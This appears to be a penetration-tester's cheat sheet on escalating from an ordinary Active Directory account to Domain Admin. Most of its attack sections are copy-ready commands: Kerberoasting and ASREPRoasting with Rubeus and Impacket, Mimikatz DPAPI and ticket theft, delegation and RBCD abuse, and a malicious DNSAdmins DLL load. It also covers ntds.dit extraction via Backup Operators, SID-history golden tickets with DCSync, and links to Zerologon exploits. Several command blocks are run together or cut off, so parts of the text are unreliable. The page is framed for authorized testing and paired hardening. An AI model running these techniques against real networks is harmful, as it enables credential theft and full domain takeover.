Active Directory Privilege Escalation¶
Escalating from a standard domain account to high-privilege or domain-dominance positions by abusing AD features and misconfigurations.
Why It Matters¶
Active Directory is built on delegation, trust, and service accounts, and each of those can be abused. The techniques here take a normal domain user toward Domain Admin by targeting weak service-account passwords, delegation misconfigurations, dangerous group memberships, and unpatched domain controllers. Every one maps to a concrete hardening recommendation.
Techniques at a Glance¶
| Category | Techniques |
|---|---|
| Credential roasting | Kerberoast, ASREPRoast, password spray, force-set SPN |
| Delegation abuse | Unconstrained, constrained, resource-based constrained delegation |
| Group abuse | DNSAdmins, Backup Operators, Exchange, ACL abuse |
| Credential theft | Stored credentials via Mimikatz, shadow copies |
| Known exploits | Zerologon, PrintNightmare/printer bug, mitm6, SID history |
High impact and often detected
Many of these lead to domain compromise and are monitored by modern defenses. Confirm scope, prefer OPSEC-safe variants where tools offer them, and record each step for the report.
Techniques¶
Kerberoast¶
What it is: \
All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a "user"
account, extract the encrypted blob that was encrypted using the user's password and bruteforce it offline.
- PowerView:
#Get User Accounts that are used as Service Accounts Get-NetUser -SPN #Get every available SPN account, request a TGS and dump its hash Invoke-Kerberoast #Requesting the TGS for a single account: Request-SPNTicket #Export all tickets using Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"' - AD Module:
#Get User Accounts that are used as Service Accounts Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName - Impacket:
python GetUserSPNs.py <DomainName>/<DomainUser>:<Password> -outputfile <FileName> - Rubeus:
#Kerberoasting and outputing on a file with a spesific format Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> #Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /rc4opsec #Kerberoast AES enabled accounts Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /aes #Kerberoast spesific user account Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /user:<username> /simple #Kerberoast by specifying the authentication credentials Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /creduser:<username> /credpassword:<password>
ASREPRoast¶
What it is: \
If a domain user account do not require kerberos preauthentication, we can request a valid TGT for this account without even having domain credentials, extract the encrypted
blob and bruteforce it offline.
- PowerView:
Get-DomainUser -PreauthNotRequired -Verbose - AD Module:
Get-ADUser -Filter {DoesNoteRequirePreAuth -eq $True} -Properties DoesNoteRequirePreAuth
Forcefully Disable Kerberos Preauth on an account i have Write Permissions or more! Check for interesting permissions on accounts:
Hint: We add a filter e.g. RDPUsers to get "User Accounts" not Machine Accounts, because Machine Account hashes are not crackable!
PowerView:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
Disable Kerberos Preauth:
Set-DomainObject -Identity <UserAccount> -XOR @{useraccountcontrol=4194304} -Verbose
Check if the value changed:
Get-DomainUser -PreauthNotRequired -Verbose
And finally execute the attack using the ASREPRoast tool.
#Get a spesific Accounts hash:
Get-ASREPHash -UserName <UserName> -Verbose
#Get any ASREPRoastable Users hashes:
Invoke-ASREPRoast -Verbose
Using Rubeus:
#Trying the attack for all domain users
Rubeus.exe asreproast /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>
#ASREPRoast spesific user
Rubeus.exe asreproast /user:<username> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>
#ASREPRoast users of a spesific OU (Organization Unit)
Rubeus.exe asreproast /ou:<OUName> /format:<hashcat|john> /domain:<DomainName> /outfile:<filename>
Using Impacket:
#Trying the attack for the specified users on the file
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile <FileName>
Password Spray Attack¶
If we have harvest some passwords by compromising a user account, we can use this method to try and exploit password reuse on other domain accounts.
Tools: - DomainPasswordSpray - CrackMapExec - SharpHose - Spray
Force Set SPN¶
WUT IS DIS ?: If we have enough permissions -> GenericAll/GenericWrite we can set a SPN on a target account, request a TGS, then grab its blob and bruteforce it.
- PowerView: ```
Check for interesting permissions on accounts:¶
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
Check if current user has already an SPN setted:¶
Get-DomainUser -Identity
Force set the SPN on the account:¶
Set-DomainObject - AD Module:
Check if current user has already an SPN setted¶
Get-ADUser -Identity
Force set the SPN on the account:¶
Set-ADUser -Identiny Finally use any tool from before to grab the hash and kerberoast it!
### Abusing Shadow Copies
If you have local administrator access on a machine try to list shadow copies, it's an easy way for Domain Escalation.
List shadow copies using vssadmin (Needs Admnistrator Access)¶
vssadmin list shadows
List shadow copies using diskshadow¶
diskshadow list shadows all
Make a symlink to the shadow copy and access it¶
mklink /d c:\shadowcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
1) You can dump the backuped SAM database and harvest credentials.
2) Look for DPAPI stored creds and decrypt them.
3) Access backuped sensitive files.
### List and Decrypt Stored Credentials using Mimikatz
Usually encrypted credentials are stored in:
- `%appdata%\Microsoft\Credentials`
- `%localappdata%\Microsoft\Credentials`
By using the cred function of mimikatz we can enumerate the cred object and get information about it:¶
dpapi::cred /in:"%appdata%\Microsoft\Credentials\
From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential¶
Lets enumerate the Master Key:¶
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\
Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:¶
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\
We now have the masterkey in our local cache:¶
dpapi::cache
Finally we can decrypt the credential using the cached masterkey:¶
dpapi::cred /in:"%appdata%\Microsoft\Credentials\Detailed Article:
[DPAPI all the things](https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials)
### Unconstrained Delegation
*WUT IS DIS ?: If we have Administrative access on a machine that has Unconstrained Delegation enabled, we can wait for a
high value target or DA to connect to it, steal his TGT then ptt and impersonate him!*
Using PowerView:
Discover domain joined computers that have Unconstrained Delegation enabled¶
Get-NetComputer -UnConstrained
List tickets and check if a DA or some High Value target has stored its TGT¶
Invoke-Mimikatz -Command '"sekurlsa::tickets"'
Command to monitor any incoming sessions on our compromised server¶
Invoke-UserHunter -ComputerName
Dump the tickets to disk:¶
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
Impersonate the user using ptt attack:¶
Invoke-Mimikatz -Command '"kerberos::ptt **Note:** We can also use Rubeus!
### Constrained Delegation
Using PowerView and Kekeo:
Enumerate Users and Computers with constrained delegation¶
Get-DomainUser -TrustedToAuth Get-DomainComputer -TrustedToAuth
If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo¶
tgt::ask /user:
Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation¶
tgs::s4u /tgt:
Finally use mimikatz to ptt the TGS¶
Invoke-Mimikatz -Command '"kerberos::ptt *ALTERNATIVE:*
Using Rubeus:
Now we can access the service as the impersonated user!
:triangular_flag_on_post: **What if we have delegation rights for only a spesific SPN? (e.g TIME):**
In this case we can still abuse a feature of kerberos called "alternative service". This allows us to request TGS tickets for other "alternative" services and not only for the one we have rights for. Thats gives us the leverage to request valid tickets for any service we want that the host supports, giving us full access over the target machine.
### Resource Based Constrained Delegation
*WUT IS DIS?: \
TL;DR \
If we have GenericALL/GenericWrite privileges on a machine account object of a domain, we can abuse it and impersonate ourselves as any user of the domain to it. For example we can impersonate Domain Administrator and have complete access.*
Tools we are going to use:
- [PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon)
- [Powermad](https://github.com/Kevin-Robertson/Powermad)
- [Rubeus](https://github.com/GhostPack/Rubeus)
First we need to enter the security context of the user/machine account that has the privileges over the object.
If it is a user account we can use Pass the Hash, RDP, PSCredentials etc.
Exploitation Example:
Import Powermad and use it to create a new MACHINE ACCOUNT¶
. .\Powermad.ps1
New-MachineAccount -MachineAccount
Import PowerView and get the SID of our new created machine account¶
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer
Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:¶
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))" $SDBytes = New-Object byte[] ($SD.BinaryLength) $SD.GetBinaryForm($SDBytes, 0)
Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView¶
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
After that we need to get the RC4 hash of the new machine account's password using Rubeus¶
Rubeus.exe hash /password:'p@ssword!'
And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus¶
Rubeus.exe s4u /user:
Finally we can access the C$ drive of the target machine¶
dir \TargetMachine.wtver.domain\C$
Detailed Articles:
- [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
- [RESOURCE-BASED CONSTRAINED DELEGATION ABUSE](https://blog.stealthbits.com/resource-based-constrained-delegation-abuse/)
:exclamation: In Constrain and Resource-Based Constrained Delegation if we don't have the password/hash of the account with TRUSTED_TO_AUTH_FOR_DELEGATION that we try to abuse, we can use the very nice trick "tgt::deleg" from kekeo or "tgtdeleg" from rubeus and fool Kerberos to give us a valid TGT for that account. Then we just use the ticket instead of the hash of the account to perform the attack.
Command on Rubeus¶
Rubeus.exe tgtdeleg /nowrap
Detailed Article:
[Rubeus: Now With More Kekeo](https://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/)
### DNSAdmins Abuse
*WUT IS DIS ?: If a user is a member of the DNSAdmins group, he can possibly load an arbitary DLL with the privileges of dns.exe that runs as SYSTEM. In case the DC serves a DNS, the user can escalate his privileges to DA. This exploitation process needs privileges to restart the DNS service to work.*
1) Enumerate the members of the DNSAdmins group:
- PowerView: `Get-NetGroupMember -GroupName "DNSAdmins"`
- AD Module: `Get-ADGroupMember -Identiny DNSAdmins`
2) Once we found a member of this group we need to compromise it (There are many ways).
3) Then by serving a malicious DLL on a SMB share and configuring the dll usage,we can escalate our privileges:
```
#Using dnscmd:
dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll
#Restart the DNS Service:
sc \\DNSServer stop dns
sc \\DNSServer start dns
```
### Abusing Active Directory-Integraded DNS
- [Exploiting Active Directory-Integrated DNS](https://blog.netspi.com/exploiting-adidns/)
- [ADIDNS Revisited](https://blog.netspi.com/adidns-revisited/)
- [Inveigh](https://github.com/Kevin-Robertson/Inveigh)
### Abusing Backup Operators Group
*WUT IS DIS ?: If we manage to compromise a user account that is member of the Backup Operators
group, we can then abuse it's SeBackupPrivilege to create a shadow copy of the current state of the DC,
extract the ntds.dit database file, dump the hashes and escalate our privileges to DA.*
1) Once we have access on an account that has the SeBackupPrivilege we can access the DC and create a shadow copy using the signed binary diskshadow:
Create a .txt file that will contain the shadow copy process script¶
Script ->{
set context persistent nowriters
set metadata c:\windows\system32\spool\drivers\color\example.cab
set verbose on
begin backup
add volume c: alias mydrive
create
expose %mydrive% w:
end backup
}
Execute diskshadow with our script as parameter¶
diskshadow /s script.txt
2) Next we need to access the shadow copy, we may have the SeBackupPrivilege but we cant just
simply copy-paste ntds.dit, we need to mimic a backup software and use Win32 API calls to copy it on an accessible folder. For this we are
going to use [this](https://github.com/giuliano108/SeBackupPrivilege) amazing repo:
Importing both dlls from the repo using powershell¶
Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll
Checking if the SeBackupPrivilege is enabled¶
Get-SeBackupPrivilege
If it isn't we enable it¶
Set-SeBackupPrivilege
Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice¶
Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:\
Dump the SYSTEM hive¶
reg save HKLM\SYSTEM c:\temp\system.hive
3) Using smbclient.py from impacket or some other tool we copy ntds.dit and the SYSTEM hive on our local machine.
4) Use secretsdump.py from impacket and dump the hashes.
5) Use psexec or another tool of your choice to PTH and get Domain Admin access.
### Abusing Exchange
- [Abusing Exchange one Api call from DA](https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/)
- [CVE-2020-0688](https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys)
- [PrivExchange](https://github.com/dirkjanm/PrivExchange) Exchange your privileges for Domain Admin privs by abusing Exchange
### Weaponizing Printer Bug
- [Printer Server Bug to Domain Administrator](https://www.dionach.com/blog/printer-server-bug-to-domain-administrator/)
- [NetNTLMtoSilverTicket](https://github.com/NotMedic/NetNTLMtoSilverTicket)
### Abusing ACLs
- [Escalating privileges with ACLs in Active Directory](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
- [aclpwn.py](https://github.com/fox-it/aclpwn.py)
- [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn)
### Abusing IPv6 with mitm6
- [Compromising IPv4 networks via IPv6](https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/)
- [mitm6](https://github.com/fox-it/mitm6)
### SID History Abuse
*WUT IS DIS?: If we manage to compromise a child domain of a forest and [SID filtering](https://www.itprotoday.com/windows-8/sid-filtering) isn't enabled (most of the times is not), we can abuse it to privilege escalate to Domain Administrator of the root domain of the forest. This is possible because of the [SID History](https://www.itprotoday.com/windows-8/sid-history) field on a kerberos TGT ticket, that defines the "extra" security groups and privileges.*
Exploitation example:
Get the SID of the Current Domain using PowerView¶
Get-DomainSID -Domain current.root.domain.local
Get the SID of the Root Domain using PowerView¶
Get-DomainSID -Domain root.domain.local
Create the Enteprise Admins SID¶
Format: RootDomainSID-519
Forge "Extra" Golden Ticket using mimikatz¶
kerberos::golden /user:Administrator /domain:current.root.domain.local /sid:
Inject the ticket into memory¶
kerberos::ptt \path\to\ticket\golden.kirbi
List the DC of the Root Domain¶
dir \dc.root.domain.local\C$
Or DCsync and dump the hashes using mimikatz¶
lsadump::dcsync /domain:root.domain.local /all ```
Detailed Articles: - Kerberos Golden Tickets are Now More Golden - A Guide to Attacking Domain Trusts
Exploiting SharePoint¶
- CVE-2019-0604 RCE Exploitation \ PoC
- CVE-2019-1257 Code execution through BDC deserialization
- CVE-2020-0932 RCE using typeconverters \ PoC
Zerologon Exploit¶
- Zerologon: Unauthenticated domain controller compromise: White paper of the vulnerability.
- SharpZeroLogon: C# implementation of the Zerologon exploit.
- Invoke-ZeroLogon: Powershell implementation of the Zerologon exploit.
- Zer0Dump: Python implementation of the Zerologon exploit using the impacket library.
How I Use It¶
I run BloodHound first so the graph tells me which of these techniques actually has a path to Domain Admin in this environment, rather than trying them blindly. Kerberoasting and ASREPRoasting are low-risk early wins; delegation and group-based abuses depend on what enumeration turns up; known exploits like Zerologon are used only when patching gaps and scope allow. Each finding is paired in the report with its fix (managed service accounts, AES-only Kerberos, removing delegation, patching).